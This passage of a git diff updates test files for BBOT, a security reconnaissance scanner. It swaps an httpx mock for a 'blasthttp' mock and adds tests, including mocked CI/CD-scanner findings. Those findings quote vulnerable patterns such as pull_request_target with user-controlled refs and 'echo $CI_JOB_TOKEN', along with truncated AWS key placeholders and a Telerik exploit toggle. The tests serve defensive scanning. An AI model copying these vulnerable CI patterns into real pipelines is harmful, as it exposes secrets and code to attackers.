-    [tabprefix1]   : Potential CLTE Issue Found - POST @ http://127.0.0.1:8888 - default.py
-    [CRITICAL]     : CLTE Payload: /home/user/.bbot/tools/smuggler/payloads/http_127.0.0.1_net_CLTE_tabprefix1.txt URL: http://127.0.0.1:8888/
-    """
-
-
-class TestSmuggler(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "smuggler"]
-
-    async def setup_after_prep(self, module_test):
-        old_run_live = module_test.scan.helpers.run_live
-
-        async def smuggler_mock_run_live(*command, **kwargs):
-            if "smuggler" not in command[0][1]:
-                async for l in old_run_live(*command, **kwargs):
-                    yield l
-            else:
-                for line in smuggler_text.splitlines():
-                    yield line
-
-        module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", smuggler_mock_run_live)
-
-        request_args = {"uri": "/"}
-        respond_args = {"response_data": "alive"}
-        module_test.set_expect_requests(request_args, respond_args)
-
-    def check(self, module_test, events):
-        assert any(
-            e.type == "FINDING"
-            and "[HTTP SMUGGLER] [Potential CLTE Issue Found] Technique:     [tabprefix1]" in e.data["description"]
-            for e in events
-        ), "Failed to parse mocked command output"
diff --git a/bbot/test/test_step_2/module_tests/test_module_social.py b/bbot/test/test_step_2/module_tests/test_module_social.py
index 6b03c77ed6..b6d9016546 100644
--- a/bbot/test/test_step_2/module_tests/test_module_social.py
+++ b/bbot/test/test_step_2/module_tests/test_module_social.py
@@ -3,7 +3,7 @@
 
 class TestSocial(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "excavate", "social"]
+    modules_overrides = ["http", "excavate", "social"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/"}
@@ -15,13 +15,14 @@ async def setup_after_prep(self, module_test):
                 <a href="https://hub.docker.com/r/blacklanternsecurity/bbot"/>
                 <a href="https://hub.docker.com/r/blacklanternSECURITY/bbot"/>
                 <a href="https://www.postman.com/blacklanternsecurity/bbot"/>
+                <a href="https://linktr.ee/blacklanternsecurity"/>
             </html>
             """
         }
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
     def check(self, module_test, events):
-        assert 4 == len([e for e in events if e.type == "SOCIAL"])
+        assert 5 == len([e for e in events if e.type == "SOCIAL"])
         assert 1 == len(
             [
                 e
@@ -56,3 +57,13 @@ def check(self, module_test, events):
                 and e.data["profile_name"] == "blacklanternsecurity"
             ]
         )
+        assert 1 == len(
+            [
+                e
+                for e in events
+                if e.type == "SOCIAL"
+                and e.data["platform"] == "linktree"
+                and e.data["profile_name"] == "blacklanternsecurity"
+                and e.data["url"] == "https://linktr.ee/blacklanternsecurity"
+            ]
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py
index 777568ef8d..a4c77d6926 100644
--- a/bbot/test/test_step_2/module_tests/test_module_speculate.py
+++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py
@@ -3,9 +3,9 @@
 
 class TestSpeculate_Subdirectories(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/subdir1/subdir2/"]
-    modules_overrides = ["httpx", "speculate"]
+    modules_overrides = ["http", "speculate"]
 
-    async def setup_after_prep(self, module_test):
+    async def setup_before_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/"}
         respond_args = {"response_data": "alive"}
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
@@ -19,7 +19,7 @@ async def setup_after_prep(self, module_test):
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
     def check(self, module_test, events):
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/subdir1/" for e in events)
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/subdir1/" for e in events)
 
 
 class TestSpeculate_OpenPorts(ModuleTestBase):
@@ -27,7 +27,7 @@ class TestSpeculate_OpenPorts(ModuleTestBase):
     modules_overrides = ["speculate", "certspotter", "shodan_idb"]
     config_overrides = {"speculate": True}
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {
                 "evilcorp.com": {"A": ["127.0.254.1"]},
@@ -35,7 +35,7 @@ async def setup_before_prep(self, module_test):
             }
         )
 
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.certspotter.com/v1/issuances?domain=evilcorp.com&include_subdomains=true&expand=dns_names",
             json=[{"dns_names": ["*.asdf.evilcorp.com"]}],
         )
@@ -55,7 +55,21 @@ async def setup(self):
             async def handle_event(self, event):
                 self.events.append(event)
 
-        module_test.scan.modules["dummy"] = DummyModule(module_test.scan)
+        dummy_module = DummyModule(module_test.scan)
+        await dummy_module.setup()
+        module_test.scan.modules["dummy"] = dummy_module
+
+        # Manually configure speculate module to emit OPEN_TCP_PORT events
+        # since the dummy module was added after speculate's setup phase
+        speculate_module = module_test.scan.modules["speculate"]
+        speculate_module.open_port_consumers = True
+        speculate_module._always_emit_open_ports = True
+
+    async def setup_before_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="https://api.certspotter.com/v1/issuances?domain=evilcorp.com&include_subdomains=true&expand=dns_names",
+            json=[{"dns_names": ["*.asdf.evilcorp.com"]}],
+        )
 
     def check(self, module_test, events):
         events_data = set()
@@ -67,11 +81,91 @@ def check(self, module_test, events):
         )
 
 
+class TestSpeculate_OutOfScopeIPRange(ModuleTestBase):
+    """Out-of-scope IP ranges from SPF (or any source) should not be enumerated into individual IPs."""
+
+    targets = ["evilcorp.com"]
+    modules_overrides = ["speculate"]
+    config_overrides = {"dns": {"minimal": False}}
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {
+                "evilcorp.com": {
+                    "A": ["127.0.254.1"],
+                    "TXT": ['"v=spf1 ip4:192.168.0.0/24 ~all"'],
+                },
+            }
+        )
+
+        from bbot.modules.base import BaseModule
+
+        class IPCollector(BaseModule):
+            _name = "ip_collector"
+            watched_events = ["IP_ADDRESS"]
+            scope_distance_modifier = 10
+            accept_dupes = True
+
+            async def setup(self):
+                self.events = []
+                return True
+
+            async def handle_event(self, event):
+                self.events.append(event)
+
+        collector = IPCollector(module_test.scan)
+        await collector.setup()
+        module_test.scan.modules["ip_collector"] = collector
+
+    def check(self, module_test, events):
+        import ipaddress
+
+        net = ipaddress.ip_network("192.168.0.0/24")
+        speculated_ips = [
+            e
+            for e in module_test.scan.modules["ip_collector"].events
+            if e.type == "IP_ADDRESS" and ipaddress.ip_address(e.data) in net
+        ]
+        assert len(speculated_ips) == 0, (
+            f"speculate enumerated {len(speculated_ips)} IPs from out-of-scope IP_RANGE 192.168.0.0/24"
+        )
+
+
 class TestSpeculate_OpenPorts_Portscanner(TestSpeculate_OpenPorts):
     targets = ["evilcorp.com"]
     modules_overrides = ["speculate", "certspotter", "portscan"]
     config_overrides = {"speculate": True}
 
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {
+                "evilcorp.com": {"A": ["127.0.254.1"]},
+                "asdf.evilcorp.com": {"A": ["127.0.254.2"]},
+            }
+        )
+
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy"
+            watched_events = ["OPEN_TCP_PORT"]
+            scope_distance_modifier = 10
+            accept_dupes = True
+
+            async def setup(self):
+                self.events = []
+                return True
+
+            async def handle_event(self, event):
+                self.events.append(event)
+
+        dummy_module = DummyModule(module_test.scan)
+        await dummy_module.setup()
+        module_test.scan.modules["dummy"] = dummy_module
+
+        # DON'T manually configure speculate module here - we want it to detect
+        # the portscan module and NOT emit OPEN_TCP_PORT events
+
     def check(self, module_test, events):
         events_data = set()
         for e in module_test.scan.modules["dummy"].events:
diff --git a/bbot/test/test_step_2/module_tests/test_module_splunk.py b/bbot/test/test_step_2/module_tests/test_module_splunk.py
index 8366a6289b..c965dda88e 100644
--- a/bbot/test/test_step_2/module_tests/test_module_splunk.py
+++ b/bbot/test/test_step_2/module_tests/test_module_splunk.py
@@ -1,5 +1,5 @@
 import json
-import httpx
+from bbot.test.mock_blasthttp import MockResponse
 
 from .base import ModuleTestBase
 
@@ -23,7 +23,7 @@ def verify_data(self, j):
         if not j["index"] == "bbot_index":
             return False
         data = j["event"]
-        if not data["data"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME":
+        if not data["data_json"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME":
             return False
         return True
 
@@ -43,13 +43,13 @@ async def custom_callback(request):
                 self.headers_correct = True
             if self.verify_data(j):
                 self.got_event = True
-            return httpx.Response(
+            return MockResponse(
                 status_code=200,
             )
 
-        module_test.httpx_mock.add_callback(custom_callback)
-        module_test.httpx_mock.add_callback(custom_callback)
-        module_test.httpx_mock.add_response()
+        module_test.blasthttp_mock.add_callback(custom_callback)
+        module_test.blasthttp_mock.add_callback(custom_callback)
+        module_test.blasthttp_mock.add_response()
 
     def check(self, module_test, events):
         assert self.got_event is True
diff --git a/bbot/test/test_step_2/module_tests/test_module_sqlite.py b/bbot/test/test_step_2/module_tests/test_module_sqlite.py
index ec80b7555d..7970627b15 100644
--- a/bbot/test/test_step_2/module_tests/test_module_sqlite.py
+++ b/bbot/test/test_step_2/module_tests/test_module_sqlite.py
@@ -8,6 +8,8 @@ class TestSQLite(ModuleTestBase):
     def check(self, module_test, events):
         sqlite_output_file = module_test.scan.home / "output.sqlite"
         assert sqlite_output_file.exists(), "SQLite output file not found"
+
+        # first connect with raw sqlite
         with sqlite3.connect(sqlite_output_file) as db:
             cursor = db.cursor()
             results = cursor.execute("SELECT * FROM event").fetchall()
@@ -16,3 +18,15 @@ def check(self, module_test, events):
             assert len(results) == 1, "No scans found in SQLite database"
             results = cursor.execute("SELECT * FROM target").fetchall()
             assert len(results) == 1, "No targets found in SQLite database"
+
+        # then connect with bbot models
+        from bbot.models.sql import Event
+        from sqlmodel import create_engine, Session, select
+
+        engine = create_engine(f"sqlite:///{sqlite_output_file}")
+
+        with Session(engine) as session:
+            statement = select(Event).where(Event.host == "evilcorp.com")
+            event = session.exec(statement).first()
+            assert event.host == "evilcorp.com", "Event host should match target host"
+            assert event.data == "evilcorp.com", "Event data should match target host"
diff --git a/bbot/test/test_step_2/module_tests/test_module_sslcert.py b/bbot/test/test_step_2/module_tests/test_module_sslcert.py
index a81482ff5c..791110ad88 100644
--- a/bbot/test/test_step_2/module_tests/test_module_sslcert.py
+++ b/bbot/test/test_step_2/module_tests/test_module_sslcert.py
@@ -6,7 +6,6 @@ class TestSSLCert(ModuleTestBase):
     config_overrides = {"scope": {"report_distance": 1}}
 
     def check(self, module_test, events):
-        assert len(events) == 7
         assert 1 == len(
             [
                 e
diff --git a/bbot/test/test_step_2/module_tests/test_module_stdout.py b/bbot/test/test_step_2/module_tests/test_module_stdout.py
index 27d8a30594..679718192c 100644
--- a/bbot/test/test_step_2/module_tests/test_module_stdout.py
+++ b/bbot/test/test_step_2/module_tests/test_module_stdout.py
@@ -9,7 +9,7 @@ class TestStdout(ModuleTestBase):
     def check(self, module_test, events):
         out, err = module_test.capsys.readouterr()
         assert out.startswith("[SCAN]              \tteststdout")
-        assert "[DNS_NAME]          \tblacklanternsecurity.com\tTARGET" in out
+        assert "[DNS_NAME]          \tblacklanternsecurity.com\tSEED" in out
 
 
 class TestStdoutEventTypes(TestStdout):
@@ -18,7 +18,7 @@ class TestStdoutEventTypes(TestStdout):
     def check(self, module_test, events):
         out, err = module_test.capsys.readouterr()
         assert len(out.splitlines()) == 1
-        assert out.startswith("[DNS_NAME]          \tblacklanternsecurity.com\tTARGET")
+        assert out.startswith("[DNS_NAME]          \tblacklanternsecurity.com\tSEED")
 
 
 class TestStdoutEventFields(TestStdout):
@@ -85,6 +85,45 @@ def check(self, module_test, events):
         assert out.count("[IP_ADDRESS]        \t127.0.0.2") == 2
 
 
+class TestStdoutFindingColor(TestStdout):
+    module_name = "stdout"
+
+    def check(self, module_test, events):
+        module = module_test.module
+        # coloring is disabled when stdout isn't a terminal (as in captured test output)
+        assert module.use_color is False
+
+        # CRITICAL is purple (207,0,255); CONFIRMED is full brightness + bold
+        critical = module_test.scan.make_event(
+            {
+                "host": "evilcorp.com",
+                "severity": "CRITICAL",
+                "confidence": "CONFIRMED",
+                "description": "asdf",
+                "name": "Test",
+            },
+            "FINDING",
+            dummy=True,
+        )
+        colored = module._colorize_finding("test", critical)
+        assert colored == "\033[1;38;2;207;0;255mtest\033[0m"
+
+        # INFO is blue (113,161,255) dimmed to 0.55 brightness, no bold
+        info = module_test.scan.make_event(
+            {
+                "host": "evilcorp.com",
+                "severity": "INFO",
+                "confidence": "UNKNOWN",
+                "description": "asdf",
+                "name": "Test",
+            },
+            "FINDING",
+            dummy=True,
+        )
+        colored_info = module._colorize_finding("test", info)
+        assert colored_info == "\033[38;2;62;88;140mtest\033[0m"
+
+
 class TestStdoutNoDupes(TestStdoutDupes):
     config_overrides = {
         "dns": {"minimal": False},
diff --git a/bbot/test/test_step_2/module_tests/test_module_subdomaincenter.py b/bbot/test/test_step_2/module_tests/test_module_subdomaincenter.py
index aa95473a48..2537265a15 100644
--- a/bbot/test/test_step_2/module_tests/test_module_subdomaincenter.py
+++ b/bbot/test/test_step_2/module_tests/test_module_subdomaincenter.py
@@ -3,7 +3,7 @@
 
 class TestSubdomainCenter(ModuleTestBase):
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.subdomain.center/?domain=blacklanternsecurity.com",
             json=["asdf.blacklanternsecurity.com", "zzzz.blacklanternsecurity.com"],
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py
index c2bb827f35..b84983e2b1 100644
--- a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py
+++ b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py
@@ -5,6 +5,99 @@ class TestSubDomainRadar(ModuleTestBase):
     config_overrides = {"modules": {"subdomainradar": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="https://api.subdomainradar.io/profile",
+            match_headers={"Authorization": "Bearer asdf"},
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://api.subdomainradar.io/enumerators/groups",
+            match_headers={"Authorization": "Bearer asdf"},
+            json=[
+                {
+                    "id": "1",
+                    "name": "Fast",
+                    "description": "Enumerators optimized for high-speed scanning and rapid data collection",
+                    "enumerators": [
+                        {"display_name": "Beta Enumerator"},
+                        {"display_name": "Chi Enumerator"},
+                        {"display_name": "Aquarius Enumerator"},
+                        {"display_name": "Eta Enumerator"},
+                    ],
+                },
+                {
+                    "id": "2",
+                    "name": "Medium",
+                    "description": "Enumerators balanced for moderate speed with a focus on thoroughness",
+                    "enumerators": [
+                        {"display_name": "Kappa Enumerator"},
+                        {"display_name": "Lambda Enumerator"},
+                        {"display_name": "Mu Enumerator"},
+                        {"display_name": "Pi Enumerator"},
+                        {"display_name": "Tau Enumerator"},
+                        {"display_name": "Beta Enumerator"},
+                        {"display_name": "Chi Enumerator"},
+                        {"display_name": "Psi Enumerator"},
+                        {"display_name": "Aquarius Enumerator"},
+                        {"display_name": "Zeta Enumerator"},
+                        {"display_name": "Eta Enumerator"},
+                    ],
+                },
+                {
+                    "id": "3",
+                    "name": "Deep",
+                    "description": "Enumerators designed for exhaustive searches and in-depth data analysis",
+                    "enumerators": [
+                        {"display_name": "Alpha Enumerator"},
+                        {"display_name": "Kappa Enumerator"},
+                        {"display_name": "Lambda Enumerator"},
+                        {"display_name": "Mu Enumerator"},
+                        {"display_name": "Nu Enumerator"},
+                        {"display_name": "Xi Enumerator"},
+                        {"display_name": "Pi Enumerator"},
+                        {"display_name": "Rho Enumerator"},
+                        {"display_name": "Sigma Enumerator"},
+                        {"display_name": "Tau Enumerator"},
+                        {"display_name": "Beta Enumerator"},
+                        {"display_name": "Chi Enumerator"},
+                        {"display_name": "Omega Enumerator"},
+                        {"display_name": "Psi Enumerator"},
+                        {"display_name": "Phi Enumerator"},
+                        {"display_name": "Axon Enumerator"},
+                        {"display_name": "Aquarius Enumerator"},
+                        {"display_name": "Pegasus Enumerator"},
+                        {"display_name": "Petra Enumerator"},
+                        {"display_name": "Oasis Enumerator"},
+                        {"display_name": "Mike Enumerator"},
+                        {"display_name": "Cat Enumerator"},
+                        {"display_name": "Brutus Enumerator"},
+                        {"display_name": "Dee Enumerator"},
+                        {"display_name": "Jul Enumerator"},
+                        {"display_name": "Eve Enumerator"},
+                        {"display_name": "Frank Enumerator"},
+                        {"display_name": "Gus Enumerator"},
+                        {"display_name": "Hank Enumerator"},
+                        {"display_name": "Delta Enumerator"},
+                        {"display_name": "Ivy Enumerator"},
+                        {"display_name": "Jack Enumerator"},
+                        {"display_name": "Karl Enumerator"},
+                        {"display_name": "Liam Enumerator"},
+                        {"display_name": "Nora Enumerator"},
+                        {"display_name": "Mars Enumerator"},
+                        {"display_name": "Neptune Enumerator"},
+                        {"display_name": "Orion Enumerator"},
+                        {"display_name": "Oedipus Enumerator"},
+                        {"display_name": "Pandora Enumerator"},
+                        {"display_name": "Epsilon Enumerator"},
+                        {"display_name": "Zeta Enumerator"},
+                        {"display_name": "Eta Enumerator"},
+                        {"display_name": "Theta Enumerator"},
+                        {"display_name": "Iota Enumerator"},
+                    ],
+                },
+            ],
+        )
+
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {
                 "blacklanternsecurity.com": {"A": ["127.0.0.88"]},
@@ -12,11 +105,7 @@ async def setup_before_prep(self, module_test):
                 "asdf.blacklanternsecurity.com": {"A": ["127.0.0.88"]},
             }
         )
-        module_test.httpx_mock.add_response(
-            url="https://api.subdomainradar.io/profile",
-            match_headers={"Authorization": "Bearer asdf"},
-        )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.subdomainradar.io/enumerate",
             method="POST",
             json={
@@ -25,7 +114,7 @@ async def setup_before_prep(self, module_test):
             },
             match_headers={"Authorization": "Bearer asdf"},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.subdomainradar.io/tasks/86de4531-0a67-41fe-b5e4-8ce8207d6245",
             match_headers={"Authorization": "Bearer asdf"},
             json={
@@ -115,93 +204,6 @@ async def setup_before_prep(self, module_test):
                 "time_to_finish": 41,
             },
         )
-        module_test.httpx_mock.add_response(
-            url="https://api.subdomainradar.io/enumerators/groups",
-            match_headers={"Authorization": "Bearer asdf"},
-            json=[
-                {
-                    "id": "1",
-                    "name": "Fast",
-                    "description": "Enumerators optimized for high-speed scanning and rapid data collection",
-                    "enumerators": [
-                        {"display_name": "Beta Enumerator"},
-                        {"display_name": "Chi Enumerator"},
-                        {"display_name": "Aquarius Enumerator"},
-                        {"display_name": "Eta Enumerator"},
-                    ],
-                },
-                {
-                    "id": "2",
-                    "name": "Medium",
-                    "description": "Enumerators balanced for moderate speed with a focus on thoroughness",
-                    "enumerators": [
-                        {"display_name": "Kappa Enumerator"},
-                        {"display_name": "Lambda Enumerator"},
-                        {"display_name": "Mu Enumerator"},
-                        {"display_name": "Pi Enumerator"},
-                        {"display_name": "Tau Enumerator"},
-                        {"display_name": "Beta Enumerator"},
-                        {"display_name": "Chi Enumerator"},
-                        {"display_name": "Psi Enumerator"},
-                        {"display_name": "Aquarius Enumerator"},
-                        {"display_name": "Zeta Enumerator"},
-                        {"display_name": "Eta Enumerator"},
-                    ],
-                },
-                {
-                    "id": "3",
-                    "name": "Deep",
-                    "description": "Enumerators designed for exhaustive searches and in-depth data analysis",
-                    "enumerators": [
-                        {"display_name": "Alpha Enumerator"},
-                        {"display_name": "Kappa Enumerator"},
-                        {"display_name": "Lambda Enumerator"},
-                        {"display_name": "Mu Enumerator"},
-                        {"display_name": "Nu Enumerator"},
-                        {"display_name": "Xi Enumerator"},
-                        {"display_name": "Pi Enumerator"},
-                        {"display_name": "Rho Enumerator"},
-                        {"display_name": "Sigma Enumerator"},
-                        {"display_name": "Tau Enumerator"},
-                        {"display_name": "Beta Enumerator"},
-                        {"display_name": "Chi Enumerator"},
-                        {"display_name": "Omega Enumerator"},
-                        {"display_name": "Psi Enumerator"},
-                        {"display_name": "Phi Enumerator"},
-                        {"display_name": "Axon Enumerator"},
-                        {"display_name": "Aquarius Enumerator"},
-                        {"display_name": "Pegasus Enumerator"},
-                        {"display_name": "Petra Enumerator"},
-                        {"display_name": "Oasis Enumerator"},
-                        {"display_name": "Mike Enumerator"},
-                        {"display_name": "Cat Enumerator"},
-                        {"display_name": "Brutus Enumerator"},
-                        {"display_name": "Dee Enumerator"},
-                        {"display_name": "Jul Enumerator"},
-                        {"display_name": "Eve Enumerator"},
-                        {"display_name": "Frank Enumerator"},
-                        {"display_name": "Gus Enumerator"},
-                        {"display_name": "Hank Enumerator"},
-                        {"display_name": "Delta Enumerator"},
-                        {"display_name": "Ivy Enumerator"},
-                        {"display_name": "Jack Enumerator"},
-                        {"display_name": "Karl Enumerator"},
-                        {"display_name": "Liam Enumerator"},
-                        {"display_name": "Nora Enumerator"},
-                        {"display_name": "Mars Enumerator"},
-                        {"display_name": "Neptune Enumerator"},
-                        {"display_name": "Orion Enumerator"},
-                        {"display_name": "Oedipus Enumerator"},
-                        {"display_name": "Pandora Enumerator"},
-                        {"display_name": "Epsilon Enumerator"},
-                        {"display_name": "Zeta Enumerator"},
-                        {"display_name": "Eta Enumerator"},
-                        {"display_name": "Theta Enumerator"},
-                        {"display_name": "Iota Enumerator"},
-                    ],
-                },
-            ],
-        )
 
     def check(self, module_test, events):
         assert any(e.data == "www.blacklanternsecurity.com" for e in events), "Failed to detect subdomain #1"
diff --git a/bbot/test/test_step_2/module_tests/test_module_subdomains.py b/bbot/test/test_step_2/module_tests/test_module_subdomains.py
index e7fb494591..5d18fa9181 100644
--- a/bbot/test/test_step_2/module_tests/test_module_subdomains.py
+++ b/bbot/test/test_step_2/module_tests/test_module_subdomains.py
@@ -5,7 +5,7 @@ class TestSubdomains(ModuleTestBase):
     modules_overrides = ["subdomains", "subdomaincenter"]
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.subdomain.center/?domain=blacklanternsecurity.com",
             json=["asdfasdf.blacklanternsecurity.com", "zzzzzzzz.blacklanternsecurity.com"],
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_teams.py b/bbot/test/test_step_2/module_tests/test_module_teams.py
index 3f573dc21b..9dca7b57f7 100644
--- a/bbot/test/test_step_2/module_tests/test_module_teams.py
+++ b/bbot/test/test_step_2/module_tests/test_module_teams.py
@@ -1,23 +1,23 @@
-import httpx
+from bbot.test.mock_blasthttp import MockResponse
 
 from .test_module_discord import TestDiscord as DiscordBase
 
 
 class TestTeams(DiscordBase):
-    modules_overrides = ["teams", "excavate", "badsecrets", "httpx"]
+    modules_overrides = ["teams", "excavate", "badsecrets", "http"]
 
     webhook_url = "https://evilcorp.webhook.office.com/webhookb2/deadbeef@deadbeef/IncomingWebhook/deadbeef/deadbeef"
-    config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5}}}
+    config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFO"}}}
 
     async def setup_after_prep(self, module_test):
         self.custom_setup(module_test)
 
-        def custom_response(request: httpx.Request):
+        def custom_response(request):
             module_test.request_count += 1
             if module_test.request_count == 2:
-                return httpx.Response(status_code=429, headers={"Retry-After": "0.01"})
+                return MockResponse(status_code=429, headers={"Retry-After": "0.01"})
             elif module_test.request_count == 3:
-                return httpx.Response(
+                return MockResponse(
                     status_code=400,
                     json={
                         "error": {
@@ -27,13 +27,11 @@ def custom_response(request: httpx.Request):
                     },
                 )
             else:
-                return httpx.Response(status_code=200)
+                return MockResponse(status_code=200)
 
-        module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url)
+        module_test.blasthttp_mock.add_callback(custom_response, url=self.webhook_url)
 
     def check(self, module_test, events):
-        vulns = [e for e in events if e.type == "VULNERABILITY"]
         findings = [e for e in events if e.type == "FINDING"]
-        assert len(findings) == 1
-        assert len(vulns) == 2
+        assert len(findings) == 3
         assert module_test.request_count == 5
diff --git a/bbot/test/test_step_2/module_tests/test_module_telerik.py b/bbot/test/test_step_2/module_tests/test_module_telerik.py
index c401100bbe..c05ea8d06d 100644
--- a/bbot/test/test_step_2/module_tests/test_module_telerik.py
+++ b/bbot/test/test_step_2/module_tests/test_module_telerik.py
@@ -4,7 +4,7 @@
 
 class TestTelerik(ModuleTestBase):
     targets = ["http://127.0.0.1:8888", "http://127.0.0.1:8888/telerik.aspx"]
-    modules_overrides = ["httpx", "telerik"]
+    modules_overrides = ["http", "telerik"]
     config_overrides = {"modules": {"telerik": {"exploit_RAU_crypto": True}}}
 
     async def setup_before_prep(self, module_test):
@@ -91,7 +91,7 @@ def check(self, module_test, events):
                 telerik_axd_detection = True
                 continue
 
-            if e.type == "VULNERABILITY" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)":
+            if e.type == "FINDING" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)" in e.data["description"]:
                 telerik_axd_vulnerable = True
                 continue
 
@@ -131,7 +131,7 @@ class TestTelerikDialogHandler_includesubdirs(TestTelerik):
             },
         }
     }
-    modules_overrides = ["httpx", "telerik"]
+    modules_overrides = ["http", "telerik"]
 
     async def setup_before_prep(self, module_test):
         # Simulate NO SpellCheckHandler detection (not testing for that with this test)
diff --git a/bbot/test/test_step_2/module_tests/test_module_trajan.py b/bbot/test/test_step_2/module_tests/test_module_trajan.py
new file mode 100644
index 0000000000..978bb23d7d
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_trajan.py
@@ -0,0 +1,335 @@
+import json
+from subprocess import CompletedProcess
+
+from .base import ModuleTestBase
+
+
+trajan_github_output = json.dumps(
+    {
+        "summary": {"repositories": 1, "workflows": 3, "findings": 1, "errors": 0},
+        "findings": [
+            {
+                "type": "pwn_request",
+                "severity": "critical",
+                "confidence": "high",
+                "complexity": "zero_click",
+                "platform": "github",
+                "class": "injection",
+                "repository": "blacklanternsecurity/bbot",
+                "workflow": "CI",
+                "workflow_file": ".github/workflows/ci.yml",
+                "job": "build",
+                "step": "checkout",
+                "line": 42,
+                "trigger": "pull_request_target",
+                "evidence": "on: pull_request_target\nwith:\n  ref: ${{ github.event.pull_request.head.sha }}",
+                "remediation": "Avoid using pull_request_target with user-controlled refs",
+            }
+        ],
+    }
+)
+
+trajan_gitlab_output = json.dumps(
+    {
+        "summary": {"repositories": 1, "workflows": 2, "findings": 1, "errors": 0},
+        "findings": [
+            {
+                "type": "token_exposure",
+                "severity": "high",
+                "confidence": "high",
+                "platform": "gitlab",
+                "class": "secrets_exposure",
+                "repository": "someorg/somerepo",
+                "workflow": "deploy",
+                "workflow_file": ".gitlab-ci.yml",
+                "evidence": "CI_JOB_TOKEN exposed in script block via echo $CI_JOB_TOKEN",
+            }
+        ],
+    }
+)
+
+trajan_ado_output = json.dumps(
+    {
+        "summary": {"repositories": 1, "workflows": 1, "findings": 1, "errors": 0},
+        "findings": [
+            {
+                "type": "script_injection",
+                "severity": "high",
+                "confidence": "medium",
+                "platform": "azuredevops",
+                "class": "injection",
+                "repository": "myproject/myrepo",
+                "workflow": "Build Pipeline",
+                "workflow_file": "azure-pipelines.yml",
+                "job": "build",
+                "step": "run_script",
+                "line": 15,
+                "trigger": "pullRequest",
+                "evidence": "script: echo $(Build.SourceBranch)",
+            }
+        ],
+    }
+)
+
+trajan_jfrog_output = json.dumps(
+    {
+        "instance": "https://mycompany.jfrog.io",
+        "artifactSecrets": [
+            {
+                "artifact": "config.yaml",
+                "path": "libs-release/com/example/config.yaml",
+                "repo": "libs-release",
+                "secretTypes": ["aws_access_key", "generic_api_key"],
+                "value": "AKIA...",
+            }
+        ],
+        "buildSecrets": [
+            {
+                "buildName": "release-pipeline",
+                "buildNumber": "42",
+                "envVar": "AWS_SECRET_KEY",
+                "value": "wJalr...",
+                "secretTypes": ["aws_secret_key"],
+            }
+        ],
+        "remoteRepoCredentials": [],
+        "totalSecrets": 2,
+    }
+)
+
+trajan_jenkins_output = json.dumps(
+    {
+        "summary": {"repositories": 1, "workflows": 4, "findings": 1, "errors": 0},
+        "findings": [
+            {
+                "type": "jenkins_script_console",
+                "severity": "critical",
+                "confidence": "high",
+                "platform": "jenkins",
+                "class": "configuration",
+                "repository": "deploy-pipeline",
+                "workflow": "deploy-pipeline",
+                "evidence": "Script console accessible at /script without authentication",
+            }
+        ],
+    }
+)
+
+
+class TestTrajanGithub(ModuleTestBase):
+    targets = ["https://github.com/blacklanternsecurity/bbot"]
+    modules_overrides = ["trajan"]
+    config_overrides = {"modules": {"trajan": {"github_token": "test-gh-token"}}}
+
+    async def setup_after_prep(self, module_test):
+        async def mock_run(*command, **kwargs):
+            cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command)
+            if "trajan" in cmd:
+                assert "github" in cmd
+                assert "--repo" in cmd
+                repo_idx = cmd.index("--repo")
+                assert cmd[repo_idx + 1] == "blacklanternsecurity/bbot"
+                assert "--token" in cmd
+                token_idx = cmd.index("--token")
+                assert cmd[token_idx + 1] == "test-gh-token"
+                return CompletedProcess(cmd, 0, trajan_github_output, "")
+            return CompletedProcess(cmd, 1, "", "")
+
+        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run)
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}"
+        finding = findings[0]
